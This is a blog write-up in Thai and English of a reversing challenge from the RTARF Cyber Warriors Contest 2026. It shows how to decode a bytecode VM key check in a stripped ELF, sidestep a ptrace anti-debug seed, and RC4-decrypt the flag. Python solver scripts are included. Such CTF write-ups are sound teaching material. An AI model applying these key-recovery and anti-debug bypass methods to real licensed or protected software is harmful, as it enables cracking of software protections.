หัวใจของโจทย์อยู่ที่ main (หา address ได้จาก xref ของสตริง Enter the key: ที่ VA 0x483816) โปรแกรมอ่านคีย์ด้วย fgets ตัด \n ทิ้ง แล้วเช็คความยาวต้องเท่ากับ 0x13 = 19 ตัวอักษรพอดี จากนั้นวนลูปเอาแต่ละไบต์ของคีย์ป้อนเข้า “เครื่องเสมือน” (VM) เล็ก ๆ ที่รันโปรแกรม bytecode ชุดเดียวกันทุกไบต์ ผลลัพธ์ของแต่ละไบต์ถูก “ผูกโซ่” (coupling) เข้ากับผลลัพธ์ของไบต์ก่อนหน้า แล้วเอาผลทั้ง 19 ไบต์ไป memcmp กับค่าคาดหวังที่ฝังไว้ ถ้าตรงถึงจะแตกเข้าสู่รูทีน RC4 เพื่อถอด flag

ตรงนี้คือ “ทำไมมันหลุด”: ถึง VM จะดูน่ากลัว แต่ทุกออปเป็นฟังก์ชันย้อนกลับได้ (xor/บวก/หมุนบิต/not) และ coupling ใช้แค่ “ผลลัพธ์ของไบต์ก่อนหน้า” ซึ่งเรารู้ค่าจากตาราง expected อยู่แล้ว เลยไม่ต้อง brute หรือ z3 เลย - แค่ย้อนสมการทีละไบต์ก็ได้คีย์ทันที ส่วนกลไกกันดีบักคือ ptrace(PTRACE_TRACEME) (syscall 0x65 ที่ 0x41c70b): ค่าที่คืนมาถูกเอามาเซ็ต seed เริ่มต้นของ coupling - ปกติได้ 0x6b แต่ถ้ามี debugger เกาะอยู่ ptrace คืน -1 ทำให้ seed กลายเป็น 0x94 ผล VM เพี้ยนทั้งสาย คีย์เลยไม่มีวันผ่านถ้ารันใต้ดีบักเกอร์ เราจึงเลี่ยงด้วยการ reimplement ตรรกะ VM เองแทน

The target is a static, stripped x86-64 ELF. Running it prints === RTARF Reversing: vm-check ===, then Enter the key:; a wrong key yields Access denied. No flag string or success banner shows up in strings, so the flag is stored encrypted and only decrypted at runtime once the correct key is entered.

Everything happens in main (located via the xref to Enter the key: at VA 0x483816). It reads the key with fgets, strips the \n, and requires the length to be exactly 0x13 = 19. It then feeds each key byte through a tiny bytecode VM that runs the same program for every byte, and each byte’s result is coupled to the previous byte’s result. All 19 results are memcmp’d against an embedded expected buffer; only on a match does it fall into an RC4 routine that decrypts and prints the flag.

Here is why it falls apart: the VM looks intimidating but every opcode is invertible (xor / add / rotate / not), and the coupling only mixes in “the previous output byte” - a value we already know from the expected table. So there is no need for brute force or z3; you invert the equation byte-by-byte and read the key straight out. The anti-debug is ptrace(PTRACE_TRACEME) (syscall 0x65 at 0x41c70b): its return value seeds the coupling - normally 0x6b, but if a debugger is attached ptrace returns -1 and the seed becomes 0x94, corrupting the entire VM chain so the key can never validate under a debugger. We simply reimplement the VM logic ourselves to sidestep it.

Step 1 - locate main and the string xrefs:

file vmcheck
# ELF 64-bit LSB executable, x86-64, statically linked, stripped
objdump -d -M intel vmcheck > vmcheck.asm
grep -nE "0x483816|0x483829" vmcheck.asm     # "Enter the key:" / "Access denied."
#  401878: lea rsi,[rip+0x81f97]   # 0x483816   <- inside main @ ~0x401830
#  4018dd: cmp rax,0x13            # key length must be 19
#  4018e1: je  0x40192c            # ==19 -> VM loop, else "Access denied."

Step 2 - read the VM dispatch and decode the bytecode program. The dispatcher (0x4019400x4019aa) is a 2-byte-per-instruction bytecode interpreter. prev (register ebp) is the coupling value; its initial value comes from the ptrace check (0x6b untraced):

opcode  bytes  effect on working byte x
0x10 nn  2     x ^= nn
0x20 nn  2     x  = (x + nn) & 0xff
0x30 --  2     x  = rol8(x, 3)        (operand ignored)
0x40     1     x ^= prev              (coupling with previous result)
0x50     1     x  = ~x & 0xff
0xff     -     halt -> result[i] = x ; prev = x
# program (11B) @0x485968 and expected results (19B) @0x485980
python3 -c "
d=open('vmcheck','rb').read(); o=lambda va:0x80000+(va-0x480000)
print('prog    ',d[o(0x485968):o(0x485968)+11].hex())
print('expected',d[o(0x485980):o(0x485980)+19].hex())"
# prog     10 3c 20 57 30 03 40 10 9d 50 ff
#   -> XOR 0x3c ; ADD 0x57 ; ROL 3 ; XOR prev ; XOR 0x9d ; NOT ; halt
# expected 0723940c233c8b133ca2a5120d5c93f403c203

Step 3 - invert the coupled VM to solve the 19-byte key. Because prev for byte i is just expected[i-1] (and expected[-1]=0x6b), each byte inverts independently - no z3, no brute:

# solved with Claude
expected = bytes.fromhex('0723940c233c8b133ca2a5120d5c93f403c203')
rol8 = lambda v,n:((v<<n)|(v>>(8-n)))&0xff
ror8 = lambda v,n:((v>>n)|(v<<(8-n)))&0xff
def inv(res, prev):                 # undo: NOT, ^0x9d, ^prev, ROL3, +0x57, ^0x3c
    x = (~res)&0xff
    x ^= 0x9d; x ^= prev
    x  = ror8(x,3)
    x  = (x-0x57)&0xff
    x ^= 0x3c
    return x
prev, key = 0x6b, bytearray()
for r in expected:
    key.append(inv(r,prev)); prev = r
print(key.decode())     # => VM_4nd_4nti_d3bug!!

Step 4 - the match path is RC4; decrypt the flag. After memcmp passes, main builds S[0..255], runs a standard RC4 KSA keyed by the 19-byte key (key[i % 19]), then a PRGA that XORs a 39-byte ciphertext at 0x485940 and puts() the result:

# solved with Claude
d = open('vmcheck','rb').read()
ct = d[0x85940:0x85940+0x27]        # 0x485940 -> file off 0x85940, 39 bytes
key = b'VM_4nd_4nti_d3bug!!'
S=list(range(256)); j=0
for i in range(256):
    j=(j+S[i]+key[i%len(key)])&0xff; S[i],S[j]=S[j],S[i]
out=bytearray(); i=j=0
for b in ct:
    i=(i+1)&0xff; j=(j+S[i])&0xff; S[i],S[j]=S[j],S[i]
    out.append(b ^ S[(S[i]+S[j])&0xff])
print(out.decode())

Final confirmation - feed the recovered key to the real binary (no debugger, so ptrace keeps the seed at 0x6b):

printf 'VM_4nd_4nti_d3bug!!\n' | ./vmcheck
# === RTARF Reversing: vm-check ===
# Enter the key: RTARF{0773c0839d2b353892142cbc8f526d5b}

# => RTARF{0773c0839d2b353892142cbc8f526d5b}

รวม 20 ข้อที่แก้ได้ ครบ 8 หมวด (อีก 1 ข้อไม่มีไฟล์แจก) ขอบคุณที่เข้ามาอ่านครับ

That’s 20 solved across all 8 tracks (plus 1 with no distributed artifact). Thanks for reading!

RTARF Cyber Warriors Contest 2026
https://ar3mus.pages.dev/posts/write-up/13/
Author
Ar3mus
Published at
2026-07-13

Related Cases

2026.08.15 Thailand Cyber Top Talent 2026Thailand Cyber Top Talent 2026 Cyber Write-upWrite-up 2024.12.02 DropCTF - RED X BLUE PILL CHALLENGES Cyber Write-upWrite-up 2024.07.28 SECPlayground HALF YEAR CTF Event 2024 Cyber Write-upWrite-up
L's ThemeHideki Taniuchi